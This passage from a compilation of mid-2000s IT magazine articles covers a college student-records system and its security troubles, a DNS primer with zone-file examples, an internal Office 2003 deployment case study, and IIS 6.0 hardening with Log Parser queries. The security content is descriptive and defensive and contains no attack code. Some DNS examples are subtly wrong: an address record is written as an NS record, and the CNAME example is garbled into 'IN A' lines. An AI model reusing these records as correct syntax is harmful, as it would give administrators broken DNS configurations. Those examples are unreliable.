On top of this translation layer, the ATSI project team developed a graphical user interface in Microsoft® Access 2000 with Visual Basic for Applications (VBA) for scripting core and ActiveX® control data objects as the data model.
Rather than attempt to re-key thousands of student records, ATSI leveraged the existing data for new purposes. Now the data is being exported for tasks such as ad hoc reporting, tracking, career counseling, faculty visits, surveys, and student intervention/dropout prevention programs.
So far, so good. After successful deployment of the Lehman College SRDS, ATSI created a customized version for Bronx Community College. The same interface was used, but here the back-end database was SQL Server 2000. SQL Server was chosen because it met or exceeded the functionality the project needed, and it had a lower total cost of ownership (BCC did not have an Oracle 9i administrator available).
The primary challenge at BCC arose when ATSI used SQL Server with Microsoft Access workgroup security. Within workgroup networking, shared resources and user information are unique to a specific computer and are unavailable to other computers. The administrator of a specific computer must maintain users, shares, and permissions at the local level, as opposed to using a centralized location where users and resources can be administered (like a Windows NT® Server domain). While workgroup security has evolved over the years into a stable security account management tool, ATSI found reoccurring flaws in the security architecture where user accounts were habitually overwritten due to toggling between Access and SQL applications.

Security Issues
There were several security challenges encountered during the system implementation. First, the university network was wide open and subject to constant hacking, making confidential student records vulnerable. Hacking at the university is pervasive. Student hackers have been able to access confidential files and in some instances alter the data. In other instances, hackers have covertly installed programs that recorded keystrokes as a means to gain access to user accounts and even inserted code into VBA files that corrupted data. ATSI learned about this house-of-cards network when they noticed that their security files kept disappearing. When a university VP was affected by this hacking, a firewall was finally installed.
Resources for Securing Your Data
Encoding is the simplest form of protection for your application data. At the client level, within Microsoft Access, simply go to Tools | Security | Encode/Decode Database. When your application is inappropriately accessed, the attacker sees random characters instead of plaintext information. Of course, database encoding shouldn't be used as a main line of defense. It can stop novice hackers from discovering confidential data by opening the MDB file in a text editor, but it will not protect a database from a more sophisticated attack.

Access Databases and VBA
If changes to VBA code and other objects in the database present a problem, you should consider using the MDE file format. For more information, see About MDE files. Passwords can also be used to help prevent unauthorized users from modifying or exporting your code. See the Visual Basic Programmer's Guide: Part 4—Securing Office Solutions: Chapter 18—Securing Access Databases for more information about securing your data.
The Knowledge Base article 822150 ("VBA: Availability of the Microsoft VBA Security Update MS03-037") installs a patch that blocks attackers from running code under the guise of a user logged into a system that uses VBA integration code. Also take a look at Knowledge Base article 280433 ("ACC2000: Unexpected Project Corruption in Access Database").

Unfortunately, the new firewall was installed directly onto the network without testing, or even notifying the application developers, so network settings including the single Access Security Workgroup file shared by both colleges were set back to their defaults. Additionally, Microsoft VBA Security Update MS03-037 was installed, thwarting some hacks but also disabling some expected functionality.
Since the colleges were using the same Access Security Workgroup for the entire university, user accounts were overwritten when toggling back and forth to other Access applications. While this can be controlled if login information is administered at the SQL Server level, in practice it wasn't because the IT department had no one serving as an applications administrator. Therefore, logins were managed by local admins as a Client Zone requirement. (Oracle accounts, on the other hand, are centrally managed by a database administrator in this site.)
At both Lehman and BCC, the general practice has been to rely upon Windows Authentication and the Access system workgroup default file for security in the login process for all SQL Server and Access apps. Not only are system security workgroups unmanaged, but this mixture of systems combined to cause a bigger problem: users who accessed different systems found that their account information (user name and password) was overwritten, making the system inaccessible to them.
This problem was discovered when troubleshooting one of the affected workstations. A review of the system properties revealed that the path of the security file had been altered to coincide with the system default file. This was fixed by modifying the application code to point to a different security file location, and then placing an SRDS application icon, pointing to the correct security file, on each user's desktop. Since Lehman and BCC did not employ any network management software, push technology, or imaging, ATSI ended up applying the fix on each workstation one at a time. Now, when the network infrastructure changes or implodes, the application will still work.
The original system was launched without any definition of user roles and permissions. When the project group launched the application, they had no idea how much it would open the lines of communication—almost too much, as it turned out.
The user team soon realized that they needed to define roles and permissions as an important part of the workflow. As an example, an economics professor should be able to update information about a student in her class, but not be able to see all the student's records.
The application was locked down after a review with the user team. The review resulted in advisors being linked only to their assigned students and faculty receiving access only to student records pertaining to their particular classes.
To secure the entire object model, developers set access at the account level, permissions on the object side, roles and privileges in Oracle, and workgroups in Access. Each entry made in the Access security file required matching accounts in Oracle and Access before the application would launch. A user account table was created to centrally store user information and active/inactive status. The system access process is coded so that if one entry in the table is off, the user is terminated without access to the application. This may have been the biggest step of all; if hackers break into the system at any point, they are now denied access to the application itself and can no longer alter its code.

Outcome
This project had a very happy conclusion as users have productively used this system for nine months and new functionality is being developed on top of the more secure framework that was put in place. Legacy system data has been turned into information that the SRDS user community can build upon for their own student tracking and retention workflow and business processes. The application now functions well despite the dysfunctional network on which it resides. In an ideal environment, Access security workgroups would not be used for login security. Centrally located and administered applications would eliminate the kind of security file conflicts that were encountered by ATSI and the SRDS project team.
Because of improvements in workgroup security features in Access, the security requirements that used to require hard coding can now be performed by administrators. The ease of use is similar to that which SQL Server and Oracle offer. There are still some places where Access security should continue to improve. For instance, it is not easy to toggle between security files without hard coding. Perhaps an improvement will come in the form of a database property that would allow you to marry the application to the security file and then take it back to the system default without having to do it at individual workstations.

Theresa Auricchio is President/Principle Consultant of AVI Consulting Inc. in New York state. She consults and speaks on e-business topics, and was recently appointed to the board of mm1Media. Reach Theresa at auricchio@aviconsulting.com.


 How IT Works: Domain Name System
How IT Works
Domain Name System
Regis Donovan

Without DNS, the Internet would be an ugly place. DNS is one of the services responsible for directing network traffic based on name and numerical IP addresses. Specifically, it's the service that allows users to type in names instead of numbers to locate a Web site or Internet resource. To provide this service, DNS creates a mapping between the numeric IP addresses and the human-readable domain names that Internet users are accustomed to using and can remember more easily.
As you know, hosts connected to the Internet are each assigned a unique 32-bit IP address, usually expressed in a dotted decimal notation of four 8-bit numbers, such as 127.0.1.25. DNS is distributed and hierarchical; its information is spread among thousands of servers all over the world. Any one of these servers may be considered authoritative for some specified section of the DNS database, but it may need to get information about other parts of the database from other servers.
What this means in practice is that your local name server doesn't have all the information for, say, www.technetmagazine.com, but it can figure out who to ask about it and find out for you when you make a request.

How DNS Is Organized
At the top of the DNS hierarchy are 13 root name servers, which contain name server information for all of the generic top-level domains such as .com and .org as well as country-specific DNS addresses such as .uk or .nz. The name servers for each of these top-level domains contains name server information for domains within that top-level domain. So the name server for .com will contain information about microsoft.com but will not contain information about microsoft.co.uk. Your name server will have to contact the server that contains the information for .co.uk.
The hierarchy goes from the least specific top-level domain to the most specific hostname (see Figure 1).
Figure 1 DNS Hierarchy
Figure 1 DNS Hierarchy
All DNS records actually end with the period character (.) which represents the root of the DNS hierarchy, but it's rarely printed and is usually just assumed. A domain name that includes the trailing period character is said to be a Fully Qualified Domain Name (FQDN). However, domain names where the period character is implicit are also commonly referred to as FQDNs.
The hierarchy begins with the base of '.' and becomes more specific moving from right to left. Figure 2 explains it and compares it to a phone number.
Figure 2 A Phone Number in the Hierarchy (Close Figure 2)

Hierarchy | Description
www.microsoft.com.
. | The base of the hierarchy
com | The com. top-level domain
microsoft | The domain microsoft within .com
www | The host www within the domain microsoft.com.
+1 (212) 555-1212
1 | The country code for the United States
212 | The area code within the United States
555 | The exchange within the area code 212
1212 | The specific telephone line in (212) 555
Just as you shouldn't expect that the phone number (212) 555-1234 will lead to the same place as(425) 555-1234, you should not expect that the URLs www.example.com and www.example. org will be the same. You shouldn't even expect that fire.ice.example.com and fire.light.example.com will be the same machine—just as you wouldn't expect the telephone numbers (710) 555-1234 and (800) 707-1234 to ring on the same phone. There are billions of pieces of information spread out in tens of millions of domains, all stored in thousands, if not millions of DNS servers worldwide, and all of this information is stored in zone files.

Data Stored in Zone Files
A DNS server that is authoritative for a given domain has a zone file that either contains all the information for that domain, or contains some information for that zone along with pointers for where to find information for subdomains within that domain. The name server that is authoritative for, let's say, example.com might have all of the information for all of the hosts whose names just end in example.com and pointers to the name servers that are authoritative for office1.example.com and office2.example.com. This kind of delegation allows for the decentralization of DNS data so that local changes can be easily made at the local level.
Information stored on a server not considered by servers higher up in the hierarchy to be authoritative for the zone in question will likely never be seen by other hosts on the Internet. If the .com servers don't list my server as a name server for the example.com domain, then no hosts on the Internet will know to ask my server for information about example.com. Any time you register a new domain, or move a domain's name servers from one set of hosts to another, you have to work with your domain name registrar to make sure that DNS servers on the Internet will know to ask your DNS server for information about your domain.
When a DNS server learns a new piece of information as the result of a query for a client machine, it will cache that information for a while—the actual cache time is specified by the server that provided the authoritative information. During that time, client machines that ask for that particular piece of information will be given the cached information; the DNS server will perform no further queries to find out if the information has changed until it deletes the cached entry when the time to live (TTL) expires or the entire cache is cleared.

Setting Up a Windows DNS Server
On Windows Server™ 2003, DNS server installation is available through the Windows® Components Wizard in Components | Networking Services | Detail | Subcomponents | Domain Name System. DNS Server software is automatically installed as part of Active Directory® setup. This can also be done through the Configure Your Server wizard.
Once the DNS server software has been properly installed, you can configure the DNS service on that host from within the DNS service console section of the Microsoft® Management Console (MMC) or using the dnscmd.exe command-line utility. To manage the DNS server, use the Connect to the DNS server dialog to connect to the DNS server in question, which is either the local machine or a remote machine that you specify on your network.
A caching-only server does not require any DNS zones to be configured or loaded because it does not have any information that is served to the rest of the Internet. It is wise to check that the root server hints file is up to date before deploying the server into production, however; this information, stored in systemroot\system32\dns\cache.dns, contains pointers to the root DNS servers where your server will begin all queries in the absence of other, more specific information. As of this writing, the authoritative location for the root hints file is ftp://ftp.rs.internic.net/domain/named.cache.

Setting Up a DNS Zone
To configure a secondary zone while using the MMC to manage the DNS server, select Action | New Zone, and select secondary when prompted for the zone type. Enter the zone name and IP address of the primary server when prompted. Note that if the primary server is not set up to accept zone transfers from this server or if the zone transfer traffic (TCP port 53) is blocked by network filters or firewalls, your server may not be able to successfully provide authoritative DNS service for the configured zone.
Primary, Secondary, Caching Servers
DNS servers that are not authoritative for any domain but which provide DNS service to client machines are called caching-only servers. They are the simplest type of DNS servers to configure. The DNS servers that store the authoritative information about one or more domains in zone files are more complicated to configure. These servers are broken down into two groups: primary servers and secondary servers.
You can set up the server to be either a primary or secondary server for a given zone. The primary server is the authoritative source for the information in a zone; any changes made to a zone must be made on the primary server. A zone must have a primary server.
A secondary server is listed as being authoritative for a given zone, but whereas the primary server has the zone file stored locally, the secondary server pulls the zone information from the primary server upon startup and whenever the information on the primary server has changed. Thus the keeper of the changes is the primary server. A zone may have from one to several secondary servers. Hosts on the Internet performing name lookup for a zone will generally try the first DNS server listed for a given zone. Most DNS server software will round-robin to rotate through a given set of records as a way to achieve some primitive load balancing.
Figure A Primary/Secondary Servers
Figure A Primary/Secondary Servers
When the Refresh timer for a zone expires, the secondary server checks for new information by comparing the serial number of the current zone on the primary server to the serial number it has stored. Depending on the server software, the serial number may be chosen when the DNS server is first set up and incremented automatically when changes occur or the domain administrator may be responsible for updating the number manually. If the number on the primary server is numerically larger, the secondary server will initiate a zone transfer, and download the entire zone file from the primary server (see Figure A).
Under most versions of DNS server software, if the new serial number is numerically smaller than the old serial number—through integer overflow or a change in serial number format, for instance—the secondary server will fail to load the new zone file until the local cache, including secondary DNS files, is cleared.
The NOTIFY operation lets secondary servers learn of changes automatically. If a primary server is configured with a NOTIFY list of secondary DNS servers for a given zone file, it will then alert those secondary servers when there have been changes made to the zone file. The secondary servers will acknowledge the NOTIFY request and poll the primary server as it does when the TTL expires.
The difference between a secondary server and a caching server is that a caching server only queries for the specific records it needs and will discard those records when their TTL expires. A secondary server will download the zone files of the zones for which it is authoritative. A secondary server will download the entire zone rather than just the specific records a user requests, and it will keep the zone file information until it has been unable to reach the primary server for some long period of time (often a week or more). These time intervals are configured in the Start Of Authority section of the zone file on the primary server.
Almost all primary and secondary DNS servers also provide a caching service for queries about records for which they are not authoritative.

Configuring a primary server is a bit more complicated. The New Zone Wizard will prompt you for the minimum information required for a zone file, beginning with the elements of the Start Of Authority (SOA) record. The SOA record has a number of fields that specify the domain name for that zone file, the primary DNS server, the responsible person, the TTL for records in that zone file, and instructions to secondary name servers for how often to check for new information and how long to keep serving the information if the primary becomes unreachable. Figure 3 has a rundown of the fields in an SOA record.
Figure 3 Fields in an SOA Record (Close Figure 3)

SOA Field | Description
Name | The name of the zone.
TTL | Time to Live.
Nameserver | The primary or master DNS for this zone.
Mail address | E-mail of the person responsible for the zone.
Serial | Unsigned 32-bit value in range 1 to 2147483647. It must be incremented when changes are made to the zone file.
Refresh | Frequency in seconds that the record will be refreshed. Frequency that a secondary name server will poll the primary to check for changes.
Retry | Number of seconds between failed retries when updating secondary servers or trying to contact a primary server. Number of seconds after a failed refresh for a secondary server trying to contact a primary nameserver.
Expiry | The time at which the zone becomes no longer authoritative and a new interrogation of the root servers is required. The time at which a secondary nameserver becomes no longer authoritative for the zone if the server has been unable to contact the primary.
Minimum | Caching duration.
The Primary server should be the server where you are configuring the zone. The Responsible Person should be the e-mail address of the person or group that administers the domain. Traditionally, this has been the e-mail alias hostmaster, just as e-mail issues are traditionally directed to postmaster. Instead of an @ character, use a period, so that the e-mail address hostmaster@example.com would be entered as hostmaster.example.com.
You may be asked for an initial serial number. This can be any integer, and while some DNS administrators prefer simple numbering of zone file versions, others prefer date-based numbering such as 2004062101 for the first file edit on June 21, 2004. The DNS server treats it as an integer, regardless.
The Refresh Interval determines the interval in seconds for how often a secondary name server will poll to see if there is new data. A typical refresh interval is 15 minutes (or 900 seconds).
If a secondary name server was unsuccessful in its attempt to poll the primary server to see if it should perform a zone transfer to get a new copy of a zone file from the primary server, the Retry Interval for a zone indicates how long the secondary server should wait to attempt another zone transfer. This should be shorter than the Refresh Interval; the default is 10 minutes (600 seconds).
If a secondary name server continues to be unable to communicate with the primary server, it should eventually stop responding because the zone file data it has is no longer reliable. This happens when the Expire time interval has elapsed. This is typically 24 hours (86,400 seconds) but may be set to be longer. If your primary name server is going to be unavailable for longer than the usual expire time, make sure to increase the expire time so that the secondary servers will keep serving DNS data in the interval.
The TTL tells caching servers how long to keep the information they receive as the result of client queries. The default for this is one hour (3600 seconds). If you make a change to your DNS, you should expect that most DNS servers on the Internet, and thus most users, will be receiving the new information after the TTL interval has passed and all caching servers should be reporting the updated data. There is no reliable way to issue a NOTIFY to caching servers to push changed data to the general Internet population.
If you were to look at your DNS zone file as a text file, the SOA record would look something like Figure 4.
Figure 4 DNS Zone as Text File (Close Figure 4)
@   IN  SOA     ns1.example.com.  hostmaster.example.com. (
                               1            ; serial number
                               3600         ; refresh   [1h]
                               600          ; retry     [10m]
                               86400        ; expire    [1d]
                               3600 )       ; min TTL   [1h]
The @ character is a zone file variable that stands in for the fully qualified domain name for which that the zone file is authoritative. If this was the zone file for the domain name example.com, you could replace it with example.com anywhere the @ appeared in the file.
The "IN" indicates that these are Internet records. DNS was developed to work with a number of types of addresses, but is now almost exclusively used for Internet addresses. The "SOA" indicates that this is an SOA record. Every domain's zone file must have one and only one SOA record.
The other requirement for a zone file to be functional is a resource record listing at least one name server for the domain. In a text zone file, this record would look like the following:
example.com.  IN  NS  ns1.example.com.
This code defines ns1.example.com as a name server (NS) for example.com. There also must be a resource record that lists the address associated with the name ns1.example.com. If the IP address of ns1.example.com was 10.1.2.3, the A record would look like this:
ns1.example.com. IN NS 10.1.2.3.
All authoritative name servers for a given domain, even if they are not themselves members of the domain, need to have NS records listed in the zone file.
The rest of the DNS zone file is made up of resource records. There are several different kinds of resource records, each of which defines a different attribute for a given host. The most common is A, the address record which creates a link between a given hostname and an IP address.
The MX record designates a Mail Exchange host for a given domain. The resource record specifies the domain to which the MX record applies, the priority of this MX server, and the server to which mail should be sent. The priority allows you to set up primary and backup mail servers, and the host with the lowest priority is considered the primary mail server. If the primary mail server is unavailable, the host sending mail should attempt to send the mail via the host with the next lowest priority, and so on.
If you want to create a nickname for an already established machine, the CNAME resource record will allow you to do so. For example, you could define a name like fas.example.edu to point to the longer name faculty-of-arts.example.edu. like so:
faculty-of-arts.example.edu.
IN   A  10.1.1.2 fas.example.edu.
IN  A  faculty-of-arts.example.edu.
Another common use of CNAME records is to create multiple names pointing to a single multi-purpose host, like mail.example.com and ftp.example.com.
In production, one common use of CNAME records is to make it easier to maintain a set of hostnames that all lead to a single machine. This allows the hostmaster to make one change to the record of the host that the CNAMEs lead to and have this change the records for all of the hostnames. A limitation of a CNAME record is that it should not be used for a record that already has other entries. If you want your Web server, www.example.com, to point to the same machine as example.com, you cannot have a record that points example.com to www.example.com, since example.com already has other resource records such as NS and SOA records. One way to think about why this won't work is to consider that there is no way for DNS to know if you mean the host example.com or everything ending in example.com.
So while this is okay,
www.example.com.  IN  CNAME  example.com.
this is not:
example.com.      IN  CNAME  www.example.com.
If you do want everything ending in a given domain to go to a specific host, you can use a wildcard record: a CNAME of * within that domain that points to the host to which all names that are not already defined should point. With the following record in place, any hostname that is not explicitly defined will be treated as a CNAME for wildhost.example.com:
*.example.com.    IN  CNAME  wildhost.example.com.
While this can be convenient, it does run the risk of making hostnames like example-is-a-bunch-of-idiots.example.com return a valid response.
In all the examples so far, we've seen fully qualified domain names. If a resource record does not use a FQDN, DNS assumes that the zone name should be appended. So in this case,
foo.example.com.  IN  A  10.128.5.22
is equivalent to:
foo               IN  A  10.128.5.22
If you leave off the trailing period in a FQDN, DNS will still assume that the zone name should be appended. So that
foo.example.com   IN  A  10.128.5.22
will create a resource record defining the IP address of foo.example.com.example.com as 10.128.5.22.

The Other Side of DNS
Where to Learn More
While this article has provided information about DNS in general as well as the Windows DNS server, there are many useful Web resources with information about DNS. The MSDN list of DNS standards documents is available at DNS Standards Documents. Information on DNS in Windows 2000 is available at Domain Name System (DNS) Center. Information on the Windows Server 2003 implementation of DNS can be found at Deploying DNS.
For more generic information about DNS, such as DNS standards and software as well as other implementations of DNS server software, the DNS Resources Directory is available at www.dns.net/dnsrd.

The Domain Name System has two major branches. The part we've discussed so far creates a mapping of names to IP addresses; the other creates a mapping of IP addresses to names. The latter is done by means of PTR (or Pointer) records. The domain in-addr.arpa holds all IP address to name mappings.
The PTR record links an IP address with a name, and it lists the four octets of the IP address in reverse and appends the PTR domain of .IN-ADDR.ARPA. A PTR record linking 10.128.5.22 to foo.example.com would be:
22.5.128.10.IN-ADDR.ARPA.  IN  PTR  foo.example.com.
If you have a small Internet presence, it's possible that your ISP may maintain the reverse DNS records. As long as the reverse zone is delegated to you, you can create a reverse zone, as PTR zones are called, and then manage your own IP address-to-name data locally.
Some hosts, particularly hosts that receive mail, will check that a forward and reverse lookup for a given host have matching records. If they do not match, the host will refuse to accept mail. It's worthwhile to verify that your mail servers have matching forward and reverse DNS information.
DNS problems can be difficult to troubleshoot. One way to approach troubleshooting is to perform lookups against a remote DNS server to make sure that machines out on the Internet are looking to the right servers and getting the correct information for your DNS zones.

Regis Donovan has worked in the IT field for over 10 years; including 5 years at Microsoft. For most of her time in IT, she has supported enterprise-wide DNS infrastructures. She is currently employed by Upromise.com.


 Case Study: A 200,000+ Desktop Deployment
Case Study
A 200,000+ Desktop Deployment
Steve Reay

Deploying a major software application such as Microsoft® Office 2003 or Microsoft Windows® XP Professional throughout a global enterprise can be a challenge for any IT organization. And just because Microsoft wrote the software doesn't mean internal deployment is a simple process. If you ever wanted to look inside Microsoft to catch a glimpse of how the Microsoft IT team does deployment, get out your notebook because I'm going to run you through the steps they took to deploy Office 2003 in several iterations, from the first beta release to the final version.

The Beta Deployment Cycle
The Microsoft approach to the development of reliable software includes the wide-scale deployment of pre-release applications to employee's computers—a practice known as "eating your own dog food." The feedback that the product development groups glean from this process is invaluable and helps ensure quality in the development phase. On the installation and deployment end, the dog food process provides Microsoft IT teams with valuable quality control experience.

IT/LOB Application Testing
There is always a potential for compatibility problems when deploying any new version of software, software update, or service pack. To minimize this risk, Microsoft IT maintains a central data repository containing information on every known line-of-business (LOB) application. The database is accessible via an intranet portal, so interested parties can easily generate reports detailing which technologies an application has been built with or has dependencies on.
Deployment Best Practices
Because Microsoft is a software company, Microsoft IT deploys software to its employees on a regular basis. Based on experience gathered over the years, Microsoft IT recommends the following best practices for software deployment:
  • Know all the applications in use, whether they're internally developed LOB applications or third-party products. This makes the testing cycle easier, faster, and reduces the risk that productivity will be negatively impacted during this time.
  • Focus on the new application core features and scenarios you want to introduce to your employees and tailor your training and support needs around those elements.
  • Make the installation and migration experience as simple as possible for the employee. Design or use custom installations that are able to anticipate user needs, questions, and issues so that you can automate the installation with minimal hassle.

For example, when planning the deployment of a Windows XP Professional Service Pack, Microsoft IT was able to report any applications that have dependencies on Microsoft Internet Explorer, ActiveX® controls, firewalls, and so on. Such a report can contain other pertinent information including the e-mail address of the app owner or person responsible for testing it, as well as the number of clients using it.
At each dog food deployment milestone (Beta 1, Beta 2, and so on), applications are tested for compatibility and any problems are identified and corrected before the final release. For example, when Microsoft tested Office 2003, they discovered that there were a number of apps relying on the Office XP Web Components that would require updating to the newer version.

Feature Scenarios
The Microsoft IT team runs a variety of scenarios throughout the testing process. These scenarios simulate various dependencies in which new features require other applications to help them run. For example, the Cached Exchange Mode functionality of Microsoft Outlook® 2003 requires Microsoft Exchange 2003 to be running for the full functionality to be available. And because an Exchange Server migration and consolidation project and some user training were occurring at the same time as the Office 2003 deployment, the timing of the upgrades had to be planned carefully.
For more information on the Exchange server consolidation project, see the article Deploying a Worldwide Site Consolidation Solution for Exchange Server 2003.

Deployment Customizations
In order to validate certain feature scenarios, the Microsoft IT team must deploy custom Office 2003 settings. For example, the team deployed all Outlook 2003 e-mail clients with the Cached Exchange Mode turned on by default.
Because much more software deployment happens at Microsoft than in a typical organization, creating a painless end-user experience is paramount for the Microsoft IT team.
For this reason, the IT team does as much of the work for the user as possible. Product keys are entered automatically, End User License Agreements are accepted, and the installation user interface is reduced to only a progress bar and completion message, all to make the process less taxing on the end users.
Figure 1 Custom Maintenance Wizard
Figure 1 Custom Maintenance Wizard
To build these customized installations, the Microsoft IT team uses the publicly available customization tools found at the Microsoft Office Web site at Office 2003 Editions Resource Kit. The Custom Maintenance Wizard, which allows many aspects of the application to be tuned to any environment, was the primary customization tool used for the Office 2003 deployment. Figure 1 shows the intuitive interface of the Custom Maintenance Wizard.

Delivery
After the installation was customized and tested, Microsoft IT deployed the Office 2003 package using Microsoft Systems Management Server (SMS) 2003. SMS provides a complete solution that includes replication of the installation package, delivery to the client desktop, and reporting to confirm the success of the deployment. SMS helped make the installation as seamless as possible. SMS can often install and update applications without the employee even being present at their computer. Users really appreciate that!

Phased Deployment
User Training
Even at Microsoft, users rarely change the way they work with applications after the installation of new software. When new technology is deployed, one of the biggest challenges is teaching employees how to take advantage of new features and improvements. To address this problem, Microsoft IT selects a limited number of new features and improvements, creates targeted education materials, and delivers them through several channels—brown-bag lunchtime presentations, webcasts, and intranet Web site documentation. An effective employee education vehicle has been "Quick Tip" e-mails, which list three new features per e-mail and provide enough instruction to get started with the feature.

The Microsoft IT team routinely takes a phased approach to software deployment, focusing at first on a small group of clients so that the IT team can refine the deployment process and gain key feedback regarding support questions, application issues, and installation experience. The phased approach results in a more efficient and streamlined deployment to the larger group later on as the most common client questions and problems have already been addressed in the smaller trial groups.
Effective support is especially challenging during a dog food period because the app support documentation is often not complete. Phased deployment is important as it gives the support team time to build fixes and workarounds for the top support call issues before the app is widely deployed.

Reporting
No deployment is complete without the ability to report on its success. Reporting speed is critical for Microsoft IT, as a given beta deployment may have a goal that must be met in a short time. For example, the Microsoft Office 2003 Beta 2 deployment goal was to reach 30,000 desktops in eight weeks, and effective reporting helped to meet and exceed this objective. The application was deployed to 7,000 more desktops than targeted in those weeks.
SMS 2003 provides reporting that allowed the Microsoft IT team to quickly determine which computers received the installation package, which ones ran it successfully, and which were not successful.

Steve Reay is a Program Manager within the Microsoft IT organization and has worked in a variety of support and deployment roles within IT at Microsoft since he joined 10 years ago.


 Serving the Web: Essential Security Administration For IIS 6.0
Serving The Web
Essential Security Administration For IIS 6.0
Brett Hill

IIS 5.0 administrators are familiar with the important security-related tasks required to harden and maintain a secure Web services environment. The many new features and capabilities of IIS 6.0, available with every version of Windows Server™ 2003, renders the previous version obsolete. If you're like me, when I first opened the IIS 6.0 user interface, I was surprised at how familiar it seemed. If you can configure security for an IIS 5.0 server, you're well on your way to managing an IIS 6.0 server. Nevertheless, experienced IIS administrators are sometimes caught by surprise trying to get their IIS 5.0 applications to work on IIS 6.0, prevented from doing so in certain scenarios because of the new security defaults and design.
With just a little research, you can avoid the bumps in the road that you would otherwise most certainly encounter. In this article, I'll review a few of the most important new items to add to your "must do" list, and I'll highlight how you can improve security in ways not possible before.

Identify Entries for Web Service Extensions
The troubleshooting question IIS administrators ask most frequently when they first deploy IIS 6.0 involves a new feature that is a bit surprising when first encountered. In the IIS Manager console, a new node has been added called Web Service Extensions (WSE), shown in Figure 1.
Figure 1 IIS Manager
Figure 1 IIS Manager
Don't let the innocent sound of WSE lead you to believe that you can deal with this after you get your application up and running. WSE has nothing to do with XML Web Services or FrontPage® Server Extensions. Rather, these settings control which executables and libraries are allowed to run on the Web server, and by default, nothing is allowed to run. (No, I'm not kidding.) Even if you set NTFS permissions to give everyone full control, unless you specifically allow an extension in Web Service Extensions, IIS will not run it. This is a perfect example of what Microsoft means by "secure by default."
Sub-Status Error Codes
The following list details the sub-status codes that were added for troubleshooting specific situations:

Sub-Status Code | Meaning
401.7 | URLAuthZ denied due to policy
403.20 | Passport login failure
404.1 | Denied due to MIME policy
404.2 | Denied due to lockdown policy
500.16 | UNC Username/Password incorrect
500.17 | URLAuthZ store not found
500.18 | URLAuthZ store cannot be opened
500.19 | Bad file metadata
500.20 | URLAuthZ scope not found

This does not mean you will need to identify all scripts by full path and file name, but it does mean identifying all script engines. For example, in order to host ASP.NET applications, you must specifically allow ASP.NET as provided by aspnet_isapi.dll (which can be enabled during installation or with the Manage Your Server Wizard). You also need to create an "allow" rule for all DLL and executable files you invoke from a URL or redirect.
If you absolutely, positively have to get running today, you can set Web Service Extensions to not enforce any restrictions by enabling Allow All Unknown ISAPI or Allow All Unknown CGI, but in doing so you give up a great defensive security feature that can help protect you against current and future exploits. The following is a tip on how to quickly identify all the required entries you will need.
As part of the IIS 6.0 Resource Kit you'll find a very cool utility called Log Parser 2.1. This tool allows you to query many log files, text files, and other items too numerous to mention using a SQL query (Microsoft® SQL Server™ is not required). Copy Logparser.exe and the script Extensions.sql into the folder that contains the log files you want to analyze, and then run the following query from a command line in the log folder:
Log parser file: extensions.qry
This will create a unique list of all the file extensions that are involved in your real-world IIS server. On my machine, this results in the output shown in Figure 2.
Figure 2 Unique Extensions (Close Figure 2)
Extension       Query
------------    ---------
.jpg            1306544
.gif            790245
.htm            407679
.asp            222184
.png            176696
.GIF            32983
.ico            23439
.txt            19564
.dll            4502
.exe            2379
.php            2233
.html           2065
With this info in hand, you can run another query on each executable file extension to identify URL paths to all your executables. To do this using Log Parser 2.1 type the following query (or modify extensions.qry) into Notepad and save it as extensions-uri.qry. This query looks more involved than it is, and with Log Parser 2.2 (due for release Fall 2004), it can be greatly simplified. In the meantime, the following query should work:
SELECT Distinct cs-uri-stem,
        SUBSTR(cs-uri-stem,
        LAST_INDEX_OF(cs-uri-stem,'.'),
        STRLEN(cs-uri-stem)
        ) AS Extension
FROM ex*.log WHERE Extension = '.dll'
        and cs-method='GET' and sc-status=200
ORDER BY cs-uri-stem
With this query in hand, you can run it with the following command:
Logparser file:extensions-uri.qry
After the query has finished executing, you'll see output that looks something like Figure 3.
Figure 3 Executable Paths (Close Figure 3)
cs-uri-stem                          Extension
-------------------------------      ---------
/_vti_bin/SHTML.dll	                .dll
/_vti_bin/_vti_adm/admin.dll         .dll
/_vti_bin/_vti_adm/fpadmdll.dll      .dll
/_vti_bin/_vti_aut/author.dll        .dll
/_vti_bin/shtml.dll                  .dll
With just a few tweaks, you could use these same queries to scan your entire Web server farm. If you're a TechNet subscriber and you'd like to learn more about the Log Parser tool, you'll find a white paper introducing the tool in the April 2004 edition of the TechNet subscription available on CD, along with a beta version of Log Parser 2.2 on the Downloads CD.
Now you know how to utilize WSE to get your IIS 6.0 applications online and more secure. Adding entries to the list and allowing new applications to run is a simple process using the IIS Manager or using the iisext.vbs script.

Identify Required Entries for MIMEMaps
IIS 6.0 will not deliver content for which there is no MIMEMap entry. This is a new security feature that prevents IIS 6.0 from delivering content for any file type on the server, regardless of whether it is a known or unknown file type. For example, if you place new scripts on the server for a file type that is undefined, IIS 5.0 would deliver the content as text until the application mapping has been installed. This can also occur if a script engine is uninstalled while at the same time leaving the related scripts on the server.
You can view the list of defined MIME types by opening the IIS Manager, right-clicking on the computer icon, selecting Properties, and clicking the MIME Types Button (see Figure 4).
Figure 4 MIME Types
Figure 4 MIME Types
Reviewing the list of file extensions you generated with the Log Parser tool from your existing IIS log files, if you find any MIME types that are legitimately required, you will need to add them to the MIME types list in IIS 6.0. While you are there, because you also know from the Log Parser list what isn't in use, you can safely remove any of those MIME types that are defined, but that aren't being used (and most likely there will be many). Of course, it's always a good idea to make a complete backup first in the unlikely event that you delete something you need.

Undefined MIME Types/Web Service Extensions
Let's say that one day after installing your IIS 6.0 servers, a user contacts you and says they are getting a 404—File Not Found message. You verify that the file is on the IIS server and that the user has rights to access the file. You try to request the file, and you get the same result—file not found. You restart the server to clear any problems, but it has no effect.
This exact scenario occurs when you try to access a file that is an undefined MIME type or an extension that is requested but not defined in the WSE. In both cases, the requested file can exist on the server with proper permissions, but IIS will return to the user a simple and intentionally misleading 404—File Not Found message.
Wouldn't it be nice if you had quick way to determine if a 404—File Not Found message is returned because the file is actually missing, or is one of these two special cases?
Figure 5 Logging Properties
Figure 5 Logging Properties
Your wish is granted! The IIS W3SVC log file on IIS 6.0 has a new field called the sub-status code that can specifically identify when a 404 error occurs because of a MIME type or WSE. To use the field, simply enable it in the log file Advanced properties page (see Figure 5). Right-click on a Web site in the IIS Manager, select Properties, click on the Properties Button on the Web Site tab, then click on the Advanced tab. Note that this field is only available when your log files are set to W3C Extended Log File Format. The sidebar entitled "Sub-Status Error Codes" lists the error codes that may get logged. Inspecting the contents of the sc-status field for 404 error and the sc-sub-status fields for Error 404.1 and 404.2 would quickly identify the problem in our example.

An Entirely New Log File
